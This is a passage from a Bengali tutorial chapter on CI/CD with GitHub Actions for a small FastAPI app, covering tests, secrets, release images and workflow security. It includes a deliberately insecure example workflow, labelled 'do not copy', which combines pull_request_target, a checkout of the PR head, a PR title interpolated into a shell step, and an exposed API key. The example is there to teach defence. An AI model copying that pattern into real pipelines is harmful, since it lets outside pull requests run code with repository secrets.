অধ্যায় 5 · চালু করুন
GitHub Actions দিয়ে CI/CD
- পৃষ্ঠা 19 / 22
- 27 মিনিট পড়া
সফটওয়্যার তৈরি করে এমন প্রতিটা টিম একই মুহূর্তে পৌঁছায়: কেউ একটা পরিবর্তন মার্জ করল যা "আমার মেশিনে চলছিল", টেস্ট কখনো চালানোই হয়নি, আর শুক্রবার সন্ধ্যায় প্রোডাকশন ভেঙে গেল। কন্টিনিউয়াস ইন্টিগ্রেশন (CI) সেই মুহূর্তটাই সরিয়ে দেয়। প্রতিটা পুশ ও পুল রিকোয়েস্টে একটা পরিষ্কার মেশিন কোড চেকআউট করে, শুরু থেকে ইনস্টল করে, লিন্ট করে, টেস্ট চালায়, আর পুল রিকোয়েস্টে সবুজ টিক বা লাল ক্রস দেখা যায়। কন্টিনিউয়াস ডেলিভারি/ডিপ্লয়মেন্ট (CD) আরেক ধাপ এগোয় এবং ফলাফলটা পাঠিয়ে দেয়: Docker: আপনার API প্যাকেজ করা পাতার Docker ইমেজ বানায়, রেজিস্ট্রিতে পুশ করে, ডিপ্লয় করে।
AI ব্যাকএন্ডে এর মূল্য আরও বেশি। প্রম্পট, মডেল ফাইল আর ডিপেন্ডেন্সির ভার্সন ঘন ঘন বদলায়, নীরব রিগ্রেশনে প্রতিটা রিকোয়েস্টে টাকা যায়, আর "main ব্রাঞ্চ কি এখনো ঠিক আছে?" প্রশ্নের একমাত্র নির্ভরযোগ্য উত্তর দিতে পারে আপনার নয় এমন একটা মেশিন। GitHub Actions হলো GitHub-এর ভেতরের CI/CD সিস্টেম; ওয়ার্কফ্লো হলো আপনার রিপোজিটরিতে থাকা YAML ফাইল। এই পাতায় একটা ছোট FastAPI অ্যাপের জন্য পুরো পাইপলাইন বানানো হবে, প্রতিটা কমান্ড আগে আপনার নিজের মেশিনে চালানো হবে, আর শেষে থাকবে সেই নিরাপত্তা-অভ্যাস, যা ঠিক করে দেয় আপনার পাইপলাইন সম্পদ হবে নাকি আক্রমণের পথ।
যা শিখবেন
- CI বনাম CD, এবং ওয়ার্কফ্লোর গঠন: ইভেন্ট, জব, স্টেপ, অ্যাকশন ও রানার।
- একটা বাস্তব CI ওয়ার্কফ্লো: চেকআউট, Python, ক্যাশ, লিন্ট, ম্যাট্রিক্স দিয়ে টেস্ট, আর PostgreSQL সার্ভিস কন্টেইনার।
- সিক্রেট,
GITHUB_TOKENও সর্বনিম্ন-অধিকারেরpermissions; রিলিজ ট্যাগে GHCR-এ ইমেজ বিল্ড ও পুশ; এনভায়রনমেন্ট দিয়ে সুরক্ষিত ডিপ্লয় জব। - নিরাপদ ওয়ার্কফ্লো ডিজাইন:
pull_request_target-এর বিপদ, স্ক্রিপ্ট ইনজেকশন, SHA পিনিং, Dependabot ও স্ক্যানিং। - ব্যর্থ রান ডিবাগ করা এবং নিজের মেশিনে সেটা পুনরুৎপাদন করা।
CI, ডেলিভারি ও ডিপ্লয়মেন্ট
| পরিভাষা | যা নিজে থেকে ঘটে | মানুষকে যা এখনো করতে হয় |
|---|---|---|
| কন্টিনিউয়াস ইন্টিগ্রেশন | প্রতিটা পরিবর্তন বিল্ড, লিন্ট ও টেস্ট হয় | রিভিউ করা ও মার্জ করা |
| কন্টিনিউয়াস ডেলিভারি | এছাড়া সবসময় পাঠানোর জন্য তৈরি একটা রিলিজ আর্টিফ্যাক্ট (ইমেজ) বানানো হয় | "ডিপ্লয়" বোতাম চাপা |
| কন্টিনিউয়াস ডিপ্লয়মেন্ট | এছাড়া প্রতিটা সবুজ পরিবর্তন সরাসরি প্রোডাকশনে যায় | কিছুই না, তাই টেস্ট খুব ভালো হতে হয় |
বেশিরভাগ টিম প্রতিটা পুল রিকোয়েস্টে CI চালায়, রিলিজ ট্যাগ পুশ হলে ইমেজ বানায়, আর একজন মানুষ অনুমোদন দিলে তবেই প্রোডাকশনে ডিপ্লয় করে। আপনি ঠিক এই পাইপলাইনই বানাবেন।
ওয়ার্কফ্লোর গঠন
ওয়ার্কফ্লো হলো .github/workflows/ ফোল্ডারের একটা YAML ফাইল। একটা ইভেন্ট (পুশ, পুল রিকোয়েস্ট, ট্যাগ, সময়সূচি, বোতামে ক্লিক) সেটা চালু করে। ওয়ার্কফ্লোতে এক বা একাধিক জব থাকে; প্রতিটা জব নিজের একটা নতুন ভার্চুয়াল মেশিনে, অর্থাৎ রানারে চলে, এবং পরপর চলা স্টেপ দিয়ে গঠিত। স্টেপ হয় একটা শেল কমান্ড চালায় (run:), নয়তো একটা তৈরি অ্যাকশন ব্যবহার করে (uses:), যেমন "রিপোজিটরি চেকআউট করো"।
event (push, pull_request, tag ...)
|
v
workflow ci.yml
|-- job lint --> runner VM 1: step checkout -> step setup-python -> step ruff
|-- job test --> runner VM 2: step checkout -> ... -> step pytest (jobs run in parallel
| (+ service container: postgres) unless you add needs:)
'-- job deploy --needs: test --> runner VM 3 ...দুটো তথ্য সবকিছু নির্ধারণ করে। প্রথমত, জবগুলো কিছু ভাগাভাগি করে না: এক জবে বানানো ফাইল পরের জবে থাকে না, যতক্ষণ না আপনি আর্টিফ্যাক্ট বা জবের outputs দিয়ে সেটা পাঠান। দ্বিতীয়ত, রানার প্রতিবার একটা পরিষ্কার মেশিন, আর সেটাই আসল উদ্দেশ্য: আপনার কোড যদি শুধু ল্যাপটপে পড়ে থাকা কিছুর কারণে চলে, CI সেটা ধরে ফেলবে। runs-on: ubuntu-latest এখন Ubuntu 24.04; GitHub ২০২৬ সালের নভেম্বরে এই লেবেল 26.04-এ সরানোর পরিকল্পনা করেছে, তাই অপারেটিং সিস্টেম বদলালে ক্ষতি হলে ubuntu-24.04 লিখুন এবং নিজের সময়ে আপগ্রেড করুন। পাবলিক রিপোজিটরিতে মিনিট বিনামূল্যে; ফ্রি প্ল্যানের প্রাইভেট রিপোজিটরিতে মাসে ২,০০০ মিনিট।
যে প্রজেক্টটাকে পাইপলাইন রক্ষা করবে
অ্যাপটা আবার সেই রিভিউ অ্যানালাইজার, ছোট করে রাখা: একটা কিওয়ার্ড-নিয়ম মডেলের জায়গা নিয়েছে। প্রজেক্ট, ডিপেন্ডেন্সি ফাইল আর একটা Git রিপোজিটরি বানান:
mkdir -p ~/projects/review-ci && cd ~/projects/review-ci
git init -q
python -m venv .venv && source .venv/bin/activate# file: main.py
"""Review analyser: the app our CI pipeline protects."""
from typing import Annotated, Literal
from fastapi import FastAPI
from pydantic import BaseModel, Field
POSITIVE = {"good", "great", "excellent", "clear", "helpful"}
NEGATIVE = {"bad", "boring", "confusing", "slow", "broken"}
app = FastAPI(title="Review Analyser", version="0.1.0")
class Review(BaseModel):
text: Annotated[str, Field(min_length=3, max_length=2000)]
class Analysis(BaseModel):
sentiment: Literal["positive", "negative", "neutral"]
score: float
@app.get("/health")
def health() -> dict[str, str]:
return {"status": "ok"}
@app.post("/v1/analyse")
def analyse(review: Review) -> Analysis:
words = [w.strip(".,!?").lower() for w in review.text.split()]
score = round((sum(w in POSITIVE for w in words) - sum(w in NEGATIVE for w in words)) / len(words), 2)
return Analysis(sentiment="positive" if score > 0 else "negative" if score < 0 else "neutral", score=score)টেস্ট দুটো ফাইলে। test_main.py-এর অ্যাপ ছাড়া আর কিছু লাগে না। test_db.py-এর লাগে একটা আসল PostgreSQL, তাই DATABASE_URL সেট না থাকলে এটা নিজেই স্কিপ হয়ে যায়। এই স্কিপটা মনে রাখুন: CI-তে এটা একটা ফাঁদ, কেন সেটা একটু পরে দেখা যাবে।
# file: test_main.py
from fastapi.testclient import TestClient
from main import app
client = TestClient(app)
def test_health():
assert client.get("/health").json() == {"status": "ok"}
def test_positive_review():
body = client.post("/v1/analyse", json={"text": "Great and clear course"}).json()
assert body == {"sentiment": "positive", "score": 0.5}
def test_short_text_is_rejected():
assert client.post("/v1/analyse", json={"text": "ok"}).status_code == 422# file: test_db.py
import os
import psycopg
import pytest
URL = os.environ.get("DATABASE_URL")
pytestmark = pytest.mark.skipif(not URL, reason="DATABASE_URL is not set")
def test_postgres_roundtrip():
with psycopg.connect(URL) as conn:
conn.execute("create temp table scores (label text, score real)")
conn.execute("insert into scores values ('positive', 0.5)")
assert conn.execute("select count(*) from scores").fetchone() == (1,)ডিপেন্ডেন্সি দুটো ছোট ফাইলে থাকে। requirements-dev.txt প্রথমটাকে অন্তর্ভুক্ত করে, ফলে প্রোডাকশন ইমেজ CI-এর চেয়ে কম প্যাকেজ ইনস্টল করে। (httpx2 লাগে TestClient-এর জন্য, যা বিগিনার টিউটোরিয়ালে ব্যাখ্যা করা হয়েছে। uv ব্যবহার করলে একই ভাগাভাগি হয় pyproject.toml-এর [dependency-groups] টেবিল আর কমিট করা uv.lock দিয়ে; লকফাইল ভালো অভ্যাস, এই পাতায় সহজ রাখতে requirements ফাইল ব্যবহার করা হয়েছে।)
# file: requirements.txt
fastapi[standard]>=0.143
psycopg[binary]>=3.2# file: requirements-dev.txt
-r requirements.txt
pytest>=8
httpx2# file: .gitignore
.venv/
__pycache__/
.pytest_cache/
.ruff_cache/CI ফাইল মানে আপনারই টাইপ করা যায় এমন কমান্ড। তাই প্রথম কাজ কমান্ডগুলো নিজে চালানো, তারপর YAML-এ কপি করা। ইনস্টল, লিন্ট, টেস্ট:
pip install -q -r requirements-dev.txt
python -m compileall -q main.py test_main.py test_db.py && echo "syntax ok"
python -m pytest -qsyntax ok
s... [100%]
3 passed, 1 skipped in 0.26sদুটো জিনিস লক্ষ করুন। লিন্ট: আসল ওয়ার্কফ্লো চালায় ruff check ., যা ২০২৬ সালে বেশিরভাগ প্রজেক্টের ব্যবহৃত দ্রুত Python লিন্টার; এই পাতার অফলাইন এনভায়রনমেন্টে ruff ইনস্টল করা নেই, তাই এখানে compileall তার জায়গা নিয়েছে, আর সেটা শুধু সিনট্যাক্স ভুল ধরে। এটাকে ruff-এর বিকল্প ভাববেন না: নিজের মেশিনে pip install ruff করে ruff check . চালান। টেস্ট: PostgreSQL টেস্টটা স্কিপ হয়েছে (s), তবু pytest সফল হিসেবে শেষ হয়েছে। এবার ওয়ার্কফ্লো যেভাবে করবে, সেভাবেই টেস্টকে একটা ডেটাবেসের ঠিকানা দিন (এক কমান্ডের সামনে বসানো ভেরিয়েবল শুধু সেই কমান্ডের জন্য থাকে, ফলে পাতার বাকি অংশ ডেটাবেস ছাড়াই চলে):
DATABASE_URL=postgresql://postgres:postgres@localhost:5432/postgres python -m pytest -qওই ঠিকানায় একটা PostgreSQL সার্ভার চালু থাকলে ডেটাবেস টেস্টটাও চলবে, আর pytest তিনটা পাস ও একটা স্কিপের বদলে চারটা টেস্টই পাস দেখাবে।
pytest না লিখে python -m pytest কেন? এটা বর্তমান ফোল্ডারকে ইমপোর্ট পাথে যোগ করে, ফলে কোনো প্যাকেজিং ছাড়াই from main import app কাজ করে। "লোকালে পাস, CI-তে ফেল" হওয়ার এটা একটা সাধারণ কারণ। এ পর্যন্ত যা আছে কমিট করুন; ওয়ার্কফ্লো ফাইল আসছে পরে।
git add . && git commit -q -m "Add review analyser with tests"
git log --oneline0e3ec7f Add review analyser with testsআপনার প্রথম CI ওয়ার্কফ্লো
.github/workflows/ci.yml বানান। উপর থেকে নিচে পড়ুন; নিচের নোটগুলো প্রতিটা সিদ্ধান্ত ব্যাখ্যা করে।
# file: .github/workflows/ci.yml
name: CI
on:
push:
branches: [main]
pull_request:
workflow_dispatch:
permissions:
contents: read
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
jobs:
lint:
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: actions/setup-python@v7
with:
python-version: "3.14"
- run: pip install ruff
- run: ruff check .
test:
runs-on: ubuntu-latest
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
python-version: ["3.12", "3.14"]
services:
postgres:
image: postgres:18
env:
POSTGRES_PASSWORD: postgres
ports:
- 5432:5432
options: >-
--health-cmd "pg_isready -U postgres"
--health-interval 5s
--health-timeout 5s
--health-retries 10
env:
DATABASE_URL: postgresql://postgres:postgres@localhost:5432/postgres
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python-version }}
cache: pip
cache-dependency-path: requirements*.txt
- run: pip install -r requirements-dev.txt
- run: python -m pytest -qট্রিগার
| ট্রিগার | কখন চলে | নোট |
|---|---|---|
push, branches: [main] সহ | main-এ কমিট এলে | ফিল্টার না দিলে প্রতিটা ব্রাঞ্চের প্রতিটা পুশে চলে, আর পুল রিকোয়েস্টের ব্রাঞ্চ দুবার চলে (push ও pull_request)। |
pull_request | PR খোলা, আপডেট বা আবার খোলা হলে | PR-এর মার্জ ফলাফলের ওপর PR-এর নিজের ওয়ার্কফ্লো ফাইল দিয়ে চলে। ফর্ক থেকে আসা PR-এ টোকেন শুধু-পড়া এবং সিক্রেট দেওয়া হয় না। |
workflow_dispatch | কেউ "Run workflow" চাপলে (বা API/gh workflow run দিয়ে) | চাইলেই আবার চালানো যায়; inputs ঘোষণা করা যায়। |
schedule (cron) | সময় অনুযায়ী, UTC-তে | শুধু ডিফল্ট ব্রাঞ্চ থেকে চলে; চাপের সময় দেরি হতে পারে। |
push, tags: ["v*"] সহ | v0.1.0 ধরনের ট্যাগ পুশ হলে | নিচে রিলিজ শুরু করতে ব্যবহার করা হয়েছে। |
প্রতিটা অংশ কী করছে
- উপরে
permissions: contents: readস্বয়ংক্রিয়GITHUB_TOKEN-কে রিপোজিটরিতে শুধু-পড়ার অধিকারে নামিয়ে আনে। এর বেশি যা লাগবে তা শুধু সেই জবে দেওয়া হয়। concurrencyওcancel-in-progressআবার পুশ করলে একই ব্রাঞ্চের পুরোনো রান বাতিল করে, মিনিট বাঁচায়।timeout-minutesআটকে যাওয়া টেস্টকে ডিফল্ট ছয় ঘণ্টা ধরে আপনার কোটা পোড়াতে দেয় না।persist-credentials: falseচেকআউটকে.git/config-এ টোকেন রেখে যেতে দেয় না, যেখান থেকে পরের স্টেপ (বা কোনো হ্যাক হওয়া ডিপেন্ডেন্সি) সেটা পড়ে ফেলতে পারত।- ম্যাট্রিক্স প্রতিটা Python ভার্সনের জন্য
testজব একবার করে, সমান্তরালে চালায়। 3.12 কোডের সবচেয়ে পুরোনো সমর্থিত ভার্সন, 3.14 Dockerfile-এর ভার্সন।fail-fast: falseদুটোকেই শেষ হতে দেয়, ফলে সব ব্যর্থতা দেখা যায়। - ক্যাশ:
setup-python-এরcache: pippip-এর ডাউনলোড ক্যাশ রাখে, কি হিসেবেcache-dependency-path-এ দেওয়া ফাইলগুলোর হ্যাশ ব্যবহার করে। রানের মাঝে অন্য কিছু রাখতে চাইলে (ডাউনলোড করা মডেল, Hugging Face ক্যাশ,~/.cache/uv)actions/cache@v6ব্যবহার করুন, এমন কি দিয়ে যা কনটেন্ট বদলালে বদলায়। ক্যাশ শুধু গতি বাড়ায়; খালি ক্যাশ থেকেও বিল্ড চলতে হবে। - সার্ভিস কন্টেইনার:
services:জবের পাশে PostgreSQL-কে একটা Docker কন্টেইনার হিসেবে চালু করে, আর হেলথ চেক জবকে অপেক্ষা করায় যতক্ষণ না ডেটাবেস কানেকশন নিচ্ছে। স্টেপগুলো সরাসরি রানারে চলে বলে পাবলিশ করা পোর্টের মাধ্যমে ডেটাবেসlocalhost:5432-এ পাওয়া যায় (জব নিজে কন্টেইনারে চললে হোস্ট হিসেবে সার্ভিসের নামpostgresব্যবহার করুন)। এটা একটু আগে আপনার দেওয়াDATABASE_URL-ই, তাই ডেটাবেস টেস্ট এখন সত্যিই চলে।
স্কিপ হওয়া টেস্ট একটা ফাঁদ। সার্ভিস কন্টেইনার ভেঙে গিয়ে
DATABASE_URLখালি থাকলেও pytest স্কিপ দেখিয়ে সবুজ রিপোর্ট করবে। যে টেস্ট আবশ্যক, তার জন্যpytest -rsদিয়ে স্কিপের কারণ ছাপান, অথবা CI-তে এনভায়রনমেন্ট ভেরিয়েবল দিয়ে স্কিপকে ব্যর্থতা বানান। সবুজ টিকের মানে হওয়া উচিত "সবকিছু চলেছে"।
uv ভার্সন
আপনার প্রজেক্ট uv ব্যবহার করলে (এই কোর্সের ডিফল্ট), জবটা ছোট হয়ে যায়, আর setup-uv Python ও ক্যাশ সামলায়। মডেল ক্যাশের জন্য একটা actions/cache@v6 স্টেপও লক্ষ করুন। এটা ডকুমেন্টেশন ফাইল, সচল ওয়ার্কফ্লো নয়, তাই চলে না:
# file: docs/ci-uv-example.yml
name: CI (uv)
on: [push, pull_request]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: astral-sh/setup-uv@v10
with:
enable-cache: true
- uses: actions/cache@v6
with:
path: ~/.cache/huggingface
key: hf-${{ runner.os }}-${{ hashFiles('uv.lock') }}
- run: uv sync --locked
- run: uv run python -m pytest -q--locked ফ্ল্যাগ uv.lock আর pyproject.toml না মিললে জব ব্যর্থ করে, ফলে পাইপলাইন আপনার কমিট করা ভার্সনই পরীক্ষা করে, অন্য কারও নয়।
GitHub দেখার আগে YAML পরীক্ষা করুন
YAML-এ ভুল আছে কি না জানতে পুশ করলে প্রতিবার এক মিনিট যায়। actionlint ইনস্টল থাকলে রিপোজিটরির রুটে actionlint চালান: এটা ওয়ার্কফ্লো স্কিমা, এক্সপ্রেশন, এমনকি আপনার শেল স্ক্রিপ্টও বোঝে। এই পাতার এনভায়রনমেন্টে এটা ইনস্টল করা নেই, তাই এর কোনো আউটপুট দেখানো হয়নি। যা সবসময় করা যায়: ফাইলটা বৈধ YAML কি না এবং কাঠামো আপনার উদ্দেশ্য অনুযায়ী কি না দেখা। PyYAML তা পারে, আর পথে একটা পুরোনো ফাঁদও শেখায়:
import yaml
from pathlib import Path
ci = yaml.safe_load(Path(".github/workflows/ci.yml").read_text())
print(list(ci))['name', True, 'permissions', 'concurrency', 'jobs']on কি-টা True হয়ে গেছে। PyYAML YAML 1.1 অনুসরণ করে, যেখানে on, yes ও true বুলিয়ান; GitHub-এর পার্সার তা করে না। GitHub-এ এটা ক্ষতিকর নয়, কিন্তু আপনার নিজের টুলিংকে দুটোই খুঁজতে হবে। যেকোনো ওয়ার্কফ্লোর কাঠামো ছাপার একটা হেল্পার:
def load(path):
return yaml.safe_load(Path(path).read_text())
def triggers(wf):
on = wf["on"] if "on" in wf else wf[True]
if isinstance(on, str):
return [on]
return list(on)
def summary(path):
wf = load(path)
print(f"{path}: {wf['name']}")
print(" triggers :", ", ".join(triggers(wf)))
print(" permissions:", wf.get("permissions", "MISSING"))
for name, job in wf["jobs"].items():
steps = job["steps"]
uses = [s["uses"] for s in steps if "uses" in s]
extra = [k for k in ("services", "strategy", "environment", "needs", "permissions") if k in job]
print(f" job {name}: {len(steps)} steps; also {extra}")
print(" uses:", ", ".join(uses))
summary(".github/workflows/ci.yml").github/workflows/ci.yml: CI
triggers : push, pull_request, workflow_dispatch
permissions: {'contents': 'read'}
job lint: 4 steps; also []
uses: actions/checkout@v7, actions/setup-python@v7
job test: 4 steps; also ['services', 'strategy']
uses: actions/checkout@v7, actions/setup-python@v7এটাই আমাদের শেখানো কাঠামো: উপরে শুধু-পড়া পারমিশন, দুটো জব, টেস্ট জবে ম্যাট্রিক্স ও সার্ভিস, আর প্রতিটা অ্যাকশন ভার্সনসহ নাম ধরে। load ও summary রেখে দিন; পরে আবার লাগবে।
সিক্রেট ও GITHUB_TOKEN
ওয়ার্কফ্লোয় প্রায়ই ক্রেডেনশিয়াল লাগে: রেজিস্ট্রির পাসওয়ার্ড, ডিপ্লয় হুক, মূল্যায়ন জবের জন্য LLM কি। GitHub দুই ধরনের দেয়।
| রিপোজিটরি/এনভায়রনমেন্ট সিক্রেট | GITHUB_TOKEN | |
|---|---|---|
| কে বানায় | আপনি (Settings, Secrets and variables, Actions) | GitHub, প্রতিটা জবের জন্য নতুন একটা |
| মেয়াদ | আপনি বদলানো পর্যন্ত | জব শেষ হলে শেষ |
| ক্ষমতা | বাইরের সার্ভিস যা অনুমতি দেয় | শুধু permissions: যা দেয়, এই রিপোজিটরিতেই |
| কখন | তৃতীয় পক্ষের সার্ভিস (ক্লাউড, LLM API, ডিপ্লয় হুক) | GitHub নিজে: GHCR-এ পুশ, PR-এ মন্তব্য, রিলিজ তৈরি |
গন্তব্য GitHub নিজেই হলে সংরক্ষিত পার্সোনাল অ্যাক্সেস টোকেনের চেয়ে GITHUB_TOKEN-কেই বেছে নিন। GitHub CLI দিয়ে টার্মিনাল থেকে সিক্রেট বানান (এটা github.com-এর সঙ্গে কথা বলে, তাই আউটপুট ছাড়া দেখানো হলো); মান স্ট্যান্ডার্ড ইনপুট থেকে পড়া হয়, শেল হিস্ট্রিতে যায় না:
gh secret set DEPLOY_HOOK_URL --env production < deploy-hook.txtসিক্রেট ব্যবহার করুন স্টেপের env: দিয়ে, ${{ secrets.DEPLOY_HOOK_URL }} আকারে। GitHub লগে সিক্রেটের মান ঢেকে দেয়, কিন্তু সেটা শুধু স্ট্রিং মেলানো: আপনার কোড সিক্রেট base64 করে বা টুকরো টুকরো করে ছাপালে তা ফাঁস হয়। ফর্ক থেকে আসা পুল রিকোয়েস্টে ট্রিগার হওয়া ওয়ার্কফ্লোতে সিক্রেট দেওয়া হয় না, এটা একটা সুবিধা।
সর্বনিম্ন অধিকার (least-privilege) পারমিশন
permissions: কি-তে contents, packages, pull-requests, id-token ধরনের স্কোপ থাকে, প্রতিটা read, write বা none। যে মুহূর্তে আপনি কোনো permissions: কি লেখেন, উল্লেখ না করা প্রতিটা স্কোপ none হয়ে যায়। নিয়ম: উপরে সবকিছু নিষেধ, জবে জবে প্রয়োজনমতো অনুমতি।
permissions: <- workflow level: contents: read (everyone gets this)
jobs:
image:
permissions: <- job level: contents: read + packages: write
deploy:
(nothing) <- inherits read-only, cannot push packagesরিলিজ: ট্যাগ, GHCR ইমেজ ও সুরক্ষিত ডিপ্লয়
রিলিজ মানে একটা Git ট্যাগ। v0.1.0 পুশ করলে ইমেজ বিল্ড হবে, GitHub Container Registry-তে (ghcr.io) পুশ হবে, এবং একজন মানুষ অনুমোদন দিলে ডিপ্লয় হবে। ট্যাগের বিষয়টা অ্যাডভান্সড Git: stash, rebase, cherry-pick, reflog ও ট্যাগ পাতায় আছে; রিলিজের জন্য অ্যানোটেটেড ট্যাগ ব্যবহার করুন, কারণ সেটা কে, কেন ট্যাগ করেছে তা রাখে। GHCR-এ ইমেজের নাম ছোট হাতের হতে হয়, কিন্তু আপনার GitHub নাম তা নাও হতে পারে, তাই ওয়ার্কফ্লো Bash expansion দিয়ে রিপোজিটরির নাম ছোট হাতের করে। এখানে সেটা চালিয়ে দেখুন:
GITHUB_REPOSITORY=Nadia-Rahman/Review-CI
echo "ghcr.io/${GITHUB_REPOSITORY,,}"ghcr.io/nadia-rahman/review-ciএকটা ন্যূনতম Dockerfile (মাল্টি-স্টেজ uv ভার্সন Docker পাতায় আছে) আর রিলিজ ওয়ার্কফ্লো যোগ করুন:
# file: Dockerfile
FROM python:3.14-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY main.py .
RUN useradd --create-home app
USER app
CMD ["fastapi", "run", "main.py", "--port", "8000"]# file: .github/workflows/release.yml
name: Release
on:
push:
tags: ["v*"]
permissions:
contents: read
jobs:
image:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write
outputs:
image: ${{ steps.name.outputs.image }}
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- id: name
run: echo "image=ghcr.io/${GITHUB_REPOSITORY,,}" >> "$GITHUB_OUTPUT"
- uses: docker/login-action@v4
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- uses: docker/build-push-action@v7
with:
context: .
push: true
tags: |
${{ steps.name.outputs.image }}:${{ github.ref_name }}
${{ steps.name.outputs.image }}:latest
deploy:
needs: image
runs-on: ubuntu-latest
environment:
name: production
url: https://review-api.example.com
steps:
- name: Trigger the deploy hook
env:
DEPLOY_HOOK_URL: ${{ secrets.DEPLOY_HOOK_URL }}
IMAGE: ${{ needs.image.outputs.image }}:${{ github.ref_name }}
run: |
echo "Deploying $IMAGE"
curl --fail --silent --show-error -X POST "$DEPLOY_HOOK_URL"- শুধু
imageজব প্যাকেজ লিখতে পারে।docker/login-action@v4জবের নিজেরGITHUB_TOKENদিয়েghcr.io-তে সাইন-ইন করে, ফলে চুরি বা রোটেট করার মতো কোনো পাসওয়ার্ড নেই। - প্রতিটা ইমেজের দুটো ট্যাগ: অপরিবর্তনীয় ভার্সন (
v0.1.0) আর চলমানlatest। ডিপ্লয় করুন ভার্সন ধরে, কখনোlatestনয়, তাহলে আগের ট্যাগ ডিপ্লয় করেই রোলব্যাক করা যায়। আরও জটিল ট্যাগ ও লেবেলের জন্যdocker/metadata-actionআছে; মাল্টি-প্ল্যাটফর্ম বিল্ড ও Actions-এ লেয়ার ক্যাশের জন্যdocker/setup-buildx-action-ও লাগে। - এনভায়রনমেন্ট।
environment: productionজবকে Settings-এ কনফিগার করা একটা নামযুক্ত এনভায়রনমেন্টের সঙ্গে বাঁধে। সেখানে রিভিউয়ার বাধ্যতামূলক করা যায় (কেউ অনুমোদন না দেওয়া পর্যন্ত জব থেমে থাকে), কোন ব্রাঞ্চ বা ট্যাগ ডিপ্লয় করতে পারবে তা সীমিত করা যায়, অপেক্ষার সময় দেওয়া যায়, এবং শুধু এই জব পড়তে পারে এমন সিক্রেট রাখা যায়।urlরান পাতায় দেখা যায়। টেস্ট ও ইমেজ জব প্রোডাকশনের সিক্রেট কখনো দেখে না। - সিক্রেট
env:দিয়ে, স্ক্রিপ্টে সরাসরি বসিয়ে নয়। কেন, তা নিরাপত্তা অংশে আছে। - ডিপ্লয় স্টেপটা একটা নমুনা মাত্র; আপনার হোস্ট যা দেয় সেটাই এখানে বসবে (ডিপ্লয় হুক,
gh,kubectl, SSH কমান্ড)। ডিপ্লয়মেন্টের গন্তব্য পরের পাতায়।
এবার Git-এর অংশটা সত্যিই করুন। বেয়ার রিপোজিটরি Git-এর দৃষ্টিতে ঠিক GitHub-এর মতোই, তাই একটাতে কমিট ও একটা অ্যানোটেটেড ট্যাগ পুশ করুন:
git init -q --bare ~/remotes/review-ci.git
git remote add origin ~/remotes/review-ci.git
git add . && git commit -q -m "Add CI and release workflows, Dockerfile"
git push -q -u origin main
git tag -a v0.1.0 -m "First release"
git push -q origin v0.1.0
git ls-remote --tags ~/remotes/review-ci.git270f5a330e06449c43e933891c402cccb581e9f4 refs/tags/v0.1.0
e326263814f1e7542419b1995244de4b9d29f71f refs/tags/v0.1.0^{}GitHub-এ ওই দ্বিতীয় পুশই release.yml চালু করে। একটা ট্যাগের জন্য দুটো লাইনের মানে বোঝা দরকার: refs/tags/v0.1.0 হলো ট্যাগ অবজেক্ট (কে, কখন, বার্তা), আর refs/tags/v0.1.0^{} হলো সেটা যে কমিটকে নির্দেশ করে, "peeled" মান। নিচে অ্যাকশন পিন করার সময় এটা মনে রাখবেন। আসল GitHub-এ পুশ করাও একই দুটো কমান্ড, শুধু আসল রিমোটে, তাই এখানে চালানো হয়নি:
git remote add origin git@github.com:nadia-rahman/review-ci.git
git push -u origin main && git push origin v0.1.0
gh run list --workflow release.yml --limit 3নিরাপদ ওয়ার্কফ্লো ডিজাইন
ওয়ার্কফ্লো এমন কোড যা আপনার ক্রেডেনশিয়াল নিয়ে চলে, আর তাকে চালু করে এমন ইভেন্ট যা অচেনা মানুষও ঘটাতে পারে (পাবলিক রিপোজিটরিতে যে কেউ পুল রিকোয়েস্ট খুলতে পারে)। Actions-এ বাস্তব নিরাপত্তা-বিপর্যয়ের বেশিরভাগই আসে হাতে গোনা কয়েকটা ভুল থেকে। সেই চারটা এখানে, তারপর একটা চেকার যা আপনি নিজের ফাইলে চালাতে পারবেন।
১. pull_request_target-এর বিপদ
ফর্ক থেকে pull_request শুধু-পড়া টোকেন নিয়ে, সিক্রেট ছাড়া চলে। pull_request_target বানানো হয়েছে এমন জবের জন্য যাদের বেস রিপোজিটরিতে লিখতে হয় (যেমন PR-এ লেবেল বসানো), তাই এটা ওয়ার্কফ্লো চালায় বেস ব্রাঞ্চ থেকে, সিক্রেট ও লেখার অধিকারসহ টোকেন নিয়ে। এটা নিরাপদ শুধু ততক্ষণ, যতক্ষণ জব কখনো PR লেখকের নিয়ন্ত্রণে থাকা কোড চালায় না। ক্লাসিক দুর্ঘটনা হলো নিচের সমন্বয়: PR-এর কোড চেকআউট করা, তারপর তার টেস্ট চালানো। আক্রমণকারীর পুল রিকোয়েস্ট তখন আপনার সিক্রেট নিয়ে যেকোনো কোড চালাতে পারে। pull_request_target (বা workflow_run) কখনো PR হেডের চেকআউটের সঙ্গে এবং তারপর সেখান থেকে কিছু বিল্ড, ইনস্টল বা চালানোর সঙ্গে মেশাবেন না। নিচে ইচ্ছাকৃতভাবে খারাপ একটা ফাইল, .github/-এর বাইরে রাখা যাতে কখনো না চলে; এতে দ্বিতীয় ভুলটাও আছে।
# file: docs/bad-pr-target.yml
name: Bad example (do not copy)
on:
pull_request_target:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: echo "Testing ${{ github.event.pull_request.title }}"
- run: pip install -r requirements.txt && python -m pytest
env:
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}২. স্ক্রিপ্ট ইনজেকশন
